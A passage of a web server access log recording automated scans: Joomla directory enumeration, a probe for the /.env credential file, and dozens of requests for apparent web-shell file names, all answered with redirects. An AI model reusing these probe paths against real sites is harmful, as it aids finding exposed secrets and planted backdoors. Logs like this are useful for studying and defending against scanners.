Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:43:40 +0330] "GET /templates/gantry/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:44:43 +0330] "GET /templates/helix3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:44:51 +0330] "GET /templates/helixultimate/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:44:59 +0330] "GET /templates/t3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:45:41 +0330] "GET /templates/protostar/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:45:44 +0330] "GET /templates/beez3/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:46:25 +0330] "GET /templates/beez_20/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:47:01 +0330] "GET /templates/isis/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:47:08 +0330] "GET /templates/cassiopeia/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:47:16 +0330] "GET /templates/yootheme/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:47:24 +0330] "GET /templates/gantry/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:47:42 +0330] "GET /templates/gantry5/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:48:22 +0330] "GET /templates/beez3/html/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:48:34 +0330] "GET /templates/beez5/html/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:49:10 +0330] "GET /templates/hathor/html/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:49:18 +0330] "GET /templates/isis/html/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:52:20 +0330] "GET /images/com_djclassifieds/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:52:31 +0330] "GET /images/com_phocadownload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:52:37 +0330] "GET /images/com_jdownloads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [04/Nov/2025:23:54:05 +0330] "GET /images/com_k2/categories/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [04/Nov/2025:23:54:17 +0330] "GET /images/easysocial/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [04/Nov/2025:23:54:20 +0330] "GET /images/com_community/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:46:47 +0330] "GET /templates/hathor/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:48:01 +0330] "GET /templates/protostar/html/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:50:23 +0330] "GET /templates/gantry/html/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:50:30 +0330] "GET /templates/gantry5/html/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:50:40 +0330] "GET /administrator/templates/isis/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:50:45 +0330] "GET /administrator/templates/hathor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:50:51 +0330] "GET /administrator/templates/atum/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:50:57 +0330] "GET /administrator/templates/cassiopeia/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:51:17 +0330] "GET /media/system/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:51:24 +0330] "GET /cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:51:44 +0330] "GET /logs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:51:59 +0330] "GET /images/com_adsmanager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 62.201.240.252 - - [04/Nov/2025:23:52:55 +0330] "GET /images/com_docman/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 62.201.240.252 - - [04/Nov/2025:23:53:20 +0330] "GET /images/com_k2/items/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 62.201.240.252 - - [04/Nov/2025:23:53:42 +0330] "GET /images/com_k2/users/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [04/Nov/2025:23:56:53 +0330] "GET /plugins/content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [04/Nov/2025:23:57:07 +0330] "GET /plugins/editors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [04/Nov/2025:23:57:19 +0330] "GET /plugins/editors-xtd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [04/Nov/2025:23:57:22 +0330] "GET /plugins/search/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [04/Nov/2025:23:57:30 +0330] "GET /plugins/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [04/Nov/2025:23:57:38 +0330] "GET /plugins/authentication/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [04/Nov/2025:23:58:07 +0330] "GET /plugins/captcha/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [04/Nov/2025:23:58:33 +0330] "GET /libraries/joomla/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [04/Nov/2025:23:59:28 +0330] "GET /libraries/vendor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [04/Nov/2025:23:59:36 +0330] "GET /libraries/fof/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [04/Nov/2025:23:59:45 +0330] "GET /libraries/phpass/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [04/Nov/2025:23:59:51 +0330] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [04/Nov/2025:23:59:57 +0330] "GET /libraries/simplepie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [05/Nov/2025:00:00:16 +0330] "GET /installation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [05/Nov/2025:00:00:27 +0330] "GET /images/stories/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [05/Nov/2025:00:00:37 +0330] "GET /images/jce/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [05/Nov/2025:00:00:44 +0330] "GET /components/com_media/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [05/Nov/2025:00:00:57 +0330] "GET /components/com_virtuemart/assets/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [05/Nov/2025:00:01:00 +0330] "GET /components/com_kunena/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [05/Nov/2025:00:01:06 +0330] "GET /component/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.95 - - [05/Nov/2025:00:01:12 +0330] "GET /index.php/component/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 62.201.240.252 - - [05/Nov/2025:00:01:32 +0330] "GET /index.php/component/content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 62.201.240.252 - - [05/Nov/2025:00:01:42 +0330] "GET /index.php/component/contact/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 62.201.240.252 - - [05/Nov/2025:00:01:47 +0330] "GET /index.php/component/search/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 62.201.240.252 - - [05/Nov/2025:00:02:07 +0330] "GET /installation/sql/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 62.201.240.252 - - [05/Nov/2025:00:02:17 +0330] "GET /tests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 62.201.240.252 - - [05/Nov/2025:00:02:30 +0330] "GET /api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 62.201.240.252 - - [05/Nov/2025:00:02:37 +0330] "GET /cli/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 62.201.240.252 - - [05/Nov/2025:00:02:50 +0330] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 62.201.240.252 - - [05/Nov/2025:00:01:26 +0330] "GET /index.php/component/users/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 62.201.240.252 - - [05/Nov/2025:00:02:58 +0330] "GET /upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 62.201.240.252 - - [05/Nov/2025:00:03:08 +0330] "GET /files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 62.201.240.252 - - [05/Nov/2025:00:03:11 +0330] "GET /components/com_foxcontact/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 67.207.84.29 - - [05/Nov/2025:00:57:46 +0330] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 67.207.84.29 - - [05/Nov/2025:00:57:47 +0330] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 48.210.15.48 - - [05/Nov/2025:01:43:22 +0330] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:31 +0330] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:32 +0330] "GET /webdb.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:32 +0330] "GET /witmmm.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:33 +0330] "GET /18299.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:33 +0330] "GET /zxasd.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:34 +0330] "GET /nxx.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:34 +0330] "GET /shlo.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:35 +0330] "GET /sql.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:36 +0330] "GET /Marvins.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:37 +0330] "GET /wpfile.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:38 +0330] "GET /foyhd.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:38 +0330] "GET /f350.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:39 +0330] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:40 +0330] "GET /bless3.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:41 +0330] "GET /link.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:41 +0330] "GET /CmKHK.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:42 +0330] "GET /rtg.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:42 +0330] "GET /tools.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:43 +0330] "GET /term.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:43 +0330] "GET /fluentform.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:44 +0330] "GET /agqpec.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:44 +0330] "GET /byuri.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:45 +0330] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:46 +0330] "GET /oiko6u.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:46 +0330] "GET /wp-admin/oiko6u.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:47 +0330] "GET /11.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:48 +0330] "GET /9WOLF.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:48 +0330] "GET /a.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:49 +0330] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:50 +0330] "GET /crew.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:50 +0330] "GET /gm.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:51 +0330] "GET /pass.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:52 +0330] "GET /sx_pms.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:52 +0330] "GET /btex.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:53 +0330] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:53 +0330] "GET /lptlo.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:54 +0330] "GET /misc.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:54 +0330] "GET /xlluw.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:55 +0330] "GET /ll.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:55 +0330] "GET /qa.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:56 +0330] "GET /auot.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:57 +0330] "GET /g.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:57 +0330] "GET /codex.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:58 +0330] "GET /ymq4nt.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:58 +0330] "GET /inzrw.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:43:59 +0330] "GET /ca.php HTTP/1.1" 301 795 "-" "-" 93.171.161.135 - - [05/Nov/2025:01:44:48 +0330] "GET /wp-content/plugins/king-addons/freemius/assets/css/customizer.css HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko)" 37.1.82.83 - - [05/Nov/2025:01:57:29 +0330] "GET /wp-content/plugins/post-smtp/assets/js/postman-suggest.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 48.210.15.48 - - [05/Nov/2025:01:44:00 +0330] "GET /lx.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:00 +0330] "GET /iuoqc.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:01 +0330] "GET /1j.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:01 +0330] "GET /qufsq.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:02 +0330] "GET /155.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:03 +0330] "GET /sosu.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:04 +0330] "GET /zero.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:04 +0330] "GET /667.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:05 +0330] "GET /c4.php 